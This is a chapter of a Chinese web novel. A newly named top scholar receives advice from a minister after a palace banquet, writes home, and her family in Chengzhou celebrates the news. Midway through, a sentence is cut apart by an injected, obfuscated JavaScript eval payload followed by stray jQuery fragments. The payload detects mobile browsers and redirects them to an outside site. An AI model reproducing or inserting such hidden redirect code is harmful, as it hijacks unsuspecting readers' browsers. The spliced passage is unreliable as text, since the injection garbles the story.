20. 琼林夜宴2

作品:《春风又绿,江南岸

    两道身影行至廊下,琼林灯火在朱瓦间轻轻摇曳,宫墙上树影摇动,檐下风过,带起些许酒香与花气。


    苏瑛走在前侧半步,脚步不快,语声清朗道:“不必紧张,今日这般场合,方才那几位,都是惯会说笑的。所说之话,也不必尽数当真。”


    瞿宝砚跟在后侧,闻言微一拱手:“多谢苏大人解围。宝砚初登宝殿,尚有诸多不谙,承蒙大人指点。”


    苏瑛偏头看她一眼,神色淡淡:“指点不敢当。你在席上的样子,也算进退得当,不失分寸。”她轻笑,“倒不像是个‘诸多不谙’的。”


    瞿宝砚语气温平:“晚辈寒窗出身,历练尚浅,若有不妥之处,还请大人不吝明言。”


    见瞿宝砚一本正经的模样,苏瑛轻轻一笑:“不妥倒没有,只是……你刚才那一拱手,敬得是吴大人,回的却是韩丞相。”


    “难能你心里有本账,记得清楚。”


    瞿宝砚闻言,目光微动,旋即坦然应道:“心里若无账,难免给人记账。”


    苏瑛微微颔首,忽而又开口:“你是澄州出身?”


    瞿宝砚:“是。”


    苏瑛点头:“家母祖籍也是澄州,澄州一带,民风朴实,读书人多有气节。你身上倒也有几分那股子倔气。”


    她转眸看她,神情温和,却带着一抹意味:“只是那股子气节,若不懂得收与放,容易变成桀骜。”


    瞿宝砚垂眸,拱手:“谨记大人教诲。”


    苏瑛略一点头,语气缓缓:“你是状元,殿试之后便是点旨下官,礼部会送上初调名册,几日后吏部也要给出调令。我身为吏部尚书,照规矩不该私言,但今夜宴后,怕是有人会先一步‘拜访’你。”


    “你的策论我看过。策论虽为一纸文章,但字里行间,总藏着人心气。你笔下有骨,也有分寸。”


    “朝堂的水,静时如镜,动时如潮。你才入水,要学会先看风,后落脚。水里伸来的手,不都是救人的。”


    说完这句,她不再多言,转身离去,只留一句话:


    “风未定时,莫轻握来手。”


    这番话息如烟,即刻散入风中。


    瞿宝砚立在廊下,背后是渐远的脚步声,前方是灯火微晃的空阶。


    没有了殿前的酒器喧嚣,也没了一众人举杯时的掌声、恭维与暗语。


    此时此刻,四周寂静无比。


    风吹过廊角,吹动石栏上几片落花,簌簌而下,落在她足边。


    她却没有动。


    方才脑中还浮动不休的言辞、神色、目光,仿佛在这一刻被什么轻轻理顺了。


    朝堂不是“谁抛绣球、谁接得住”的舞台,而是水里有势、风中有向的地方。


    苏瑛刚才不过寥寥数语,却像是将这水的形状、风的脉络,指给了她看。


    瞿宝砚低头,手中仍握着吴致安方才递来的玉盏,未曾饮尽。


    她抬手看了看盏中残酒,片刻后,轻轻一倾——随风倒入了廊下落花之间。


    ·


    琼林宴散后,夜色沉沉。宫灯自朱阙散落如雨,曲水流觞,终归寂寥。


    瞿宝砚回了云台小院,宝桃儿便迎了上来。


    “小姐,您回来啦。”宝桃儿笑脸上前,自家小姐身上衣袍仍带着宫中灯香,她正要开口问今夜琼林宴上是何模样,却见宝砚眉眼间多了一丝说不出的疲色,原本高扬的声调瞬间压低下来。


    宝桃儿轻手接过外袍,见那进屋比往日滞了几分的步子,心头一紧。


    她从小跟随在侧,再知道不过:自家小姐纵然日日读书伏案,也从不显疲态,心志如雪、眼神如炬。


    但今夜不同——那种倦,不止是身倦。


    她什么都没多问,只忙不迭打来热水,拧了帕子给瞿宝砚敷着,又悄声问道:“小姐,这水烫吗?要我再打些凉水来?”


    瞿宝砚摇摇头,坐在塌上轻按额角:“不必,这样正好。”


    宝桃儿动作更加轻了些,替她净面解发、更衣歇息,一切都比平日更安静一分。


    等灯芯挑好,火炉添了两块炭,屋里暖气渐腾,宝桃儿才小声问:“小姐,要歇下了吗?”


    瞿宝砚静了片刻,道:“帮我研上墨,我给家里再写封信。”


    瞿宝砚披着外袍,从塌上起身又在案前坐了下来。


    窗外有风吹过竹影,墙角炉火正温。


    她展平纸页,提笔蘸墨,落款题头:


    【家中亲启】。


    略一思索,笔下便缓缓写道:


    “家严、家慈、太爷安:


    女儿宝砚,拜上。


    京城春寒料峭,琼林宴方散。今夜灯火繁盛,衣香鬓影,一如旧时文人笔下繁华。宫中设宴,群贤毕至,名列榜中者咸集一堂,百官亲临,言笑周旋,诸多贵人出言相问。


    而女儿立于席间,虽为状元,心中却时时思及家中。


    忆及昔日檐下梅香,寒窗苦读,得父亲时时指点,母亲日日照料;太爷曾言道“此砚他日必登金榜”——今之所获,实不敢忘根本。


    昨日入朝觐圣,承恩首点,圣上亲阅卷末,言策论深远有识。诸座师亦有所赞誉。只是官途初始,万事未定,女儿知前路难行,更需谨慎。


    家中诸事如何?弟妹功课可勤?春衣添否?愿父母安康,太爷勿劳心,姑母安和,待女儿任命稍定,必具折归家探望,略尽孝敬。


    此函草草,不足一二,权作报平安之用。家中若得此信,烦请回书一封,女儿心念常存。


    此致敬颂


    康安


    宝砚拜笔”


    她写完后,将信纸对折封入信封,又加一小函,用的是日常的家常字眼,写给弟弟妹妹,说:


    “灯节时你们可去放灯,别只顾贪吃,春寒记得添衣,照拂好自己。大姐在京,一切尚好。等春草长些时候,便能见面了。”


    写罢,她将信封叠好,放入行囊。


    又靠在椅上轻轻阖上了眼,唇边像是有一点笑意。


    “歇息吧。”


    ·


    京中春宴方散,风华犹沸,而千里之外,澄州也已入春。


    江南春信早至,澄州初春时节,满城杨柳新绿,溪畔迎春探枝。小巷深处,晨雾尚未褪尽,墨瓦青砖间浮起一层薄光,微风一过,院中碧树轻轻颤着花影。


    瞿府静谧如常。


    厅前的竹廊下,老太爷斜倚藤椅闭目养神,膝上覆着一条软毯。身边炭盆尚暖,院中春雀啁啾。


    书房内,瞿淮安正端坐书桌前,皱着眉临帖;而瞿佑苓则在一旁嘴里念着诗,念得断断续续,手里还偷偷攥了块蜜饯。


    兄妹俩时不时互相瞄一眼用眼神打架,却都没敢太放肆,怕吵着了老太爷。


    铺子那边照例是最忙的。


    瞿老爷今日一早就去了前厅与伙计们核账,背手转着算盘珠子,眉头时紧时松;瞿秋晚一身素青对襟衣,手里拿着成色细致的绸样,正在跟门口的小掌柜核着料色分单,说话不多,小掌柜却不敢怠慢,一笔笔照她吩咐记得仔细。


    府内东厢房,瞿夫人又推开了那间许久无人居住的房门。


    阳光斜斜地照进来,纱帐早已收起,一尘


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042152|178823||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不染的案几上笔架仍旧挂着一支笔,砚台空空,只有干裂的墨痕。


    她抬手拂过那柄熟悉的椅背,似仍能听见女儿倚案读书时的细语朗声。


    她轻轻叹了口气,打开柜门,抽出一只旧匣子,里面叠着几件放旧的澄色春衫。她一件一件抖了开来,指尖摩挲着衣角,眼神微微泛红。


    “我的儿啊……”


    午时方过,一家人刚用过午膳。


    老太爷坐在主位,望着院外,指头在膝上一下一下掐着:“算着时辰,也该到了。”


    一旁饮茶的瞿老爷听的云里雾里:“什么也该到了?”


    巷角一阵尘土飞扬:“快让开快让开——京里快马传书!”


    瞿老爷话音刚落,忽听前门处传来一阵急促马蹄,蹄声未至,人声先扬。


    “喜报——京中快报——状元报喜——!”


    瞿府门外,门房小厮正倚门晒着太阳,听得这声猛然蹿起。


    只见一骑快马飞尘而来,马上人衣摆飞扬,怀中紧紧抱着封印漆红的大信函,直奔瞿家门口,一勒缰绳,马蹄高扬,尘土飞起——


    “澄州贡士瞿宝砚,今科一甲一名,金榜状元!”


    小厮一呆。


    快马传信人早已亮出腰牌,唰地一抖信函封角:“礼部诏告,敕书尚在后头——这是急先报,奉旨传至各地父母官家!”


    小厮这才回过神来,声嘶力竭大叫起来:


    “小姐——小姐中状元啦——!!”


    “咱们小姐中状元了!”


    “快——快请老爷夫人——”


    这一下,全府上下炸了锅。


    厅中,老太爷正要起身,被外头那声喊“小姐中状元啦——!”震得一怔,手中拐杖“咚”地一声落地,人却先起了身。


    他浑浊的老眼猛地亮了,转身拉住身边瞿老爷的袖子:“可听见了?”


    瞿老爷脸色亦是一懵,几乎不可置信:“爹,宝,宝砚她——她真中了?”


    说话间,信使已大步入厅,躬身奉上传报的急函,沉声道:


    “今科殿试金榜初传,澄州贡士,瞿宝砚,中一甲第一名,状元之首!奉礼部之命,特快马报家中双亲。”


    “恭喜府上!”


    瞿夫人“哎哟”一声,抚着胸口掩面而泣,颤声道:“我的阿双,中了状元啊……状元!”


    身旁瞿姑姑抚上瞿夫人的背,眼里也含了热泪,笑道:“我心里也总觉着该有这么一天,这不是来了。”


    瞿夫人点点头,又转身吩咐小丫鬟:“快,快把宝砚房里的香囊拿来,我再给她写封信,告诉她家里人都好,叫她千万别累着自己!”


    瞿老爷回神不过片刻,立刻稳住神色,吩咐道:“来人!快请信使大人里屋奉茶,设座休息!”


    一边说着,一边亲自上前,拱手躬身:“使节大人一路辛苦,快请屋里歇歇脚。”


    一旁的瞿淮安和瞿佑苓早已手舞足蹈,差点抱在一起。


    “大姐是状元!状元!”两人难得喊得如此一致,嗓音都变了调。


    正高兴着,瞿佑苓却突然嘴角一瘪,下一秒嚎啕大哭起来:“呜呜呜,我想大姐了,我想大姐了——”


    瞿淮安猝不及防:“唉唉唉,你别哭啊——怎么突然就哭了?!”


    老太爷坐回主位,大掌拍上扶手,沉声道:“好!好哇!我瞿家出了个状元!!!”


    “快!开我的那坛状元红!”说着却也险些老泪纵横。


    他望着府中笑语盈庭,抚须良久,方叹息:


    “宝砚,宝砚啊——”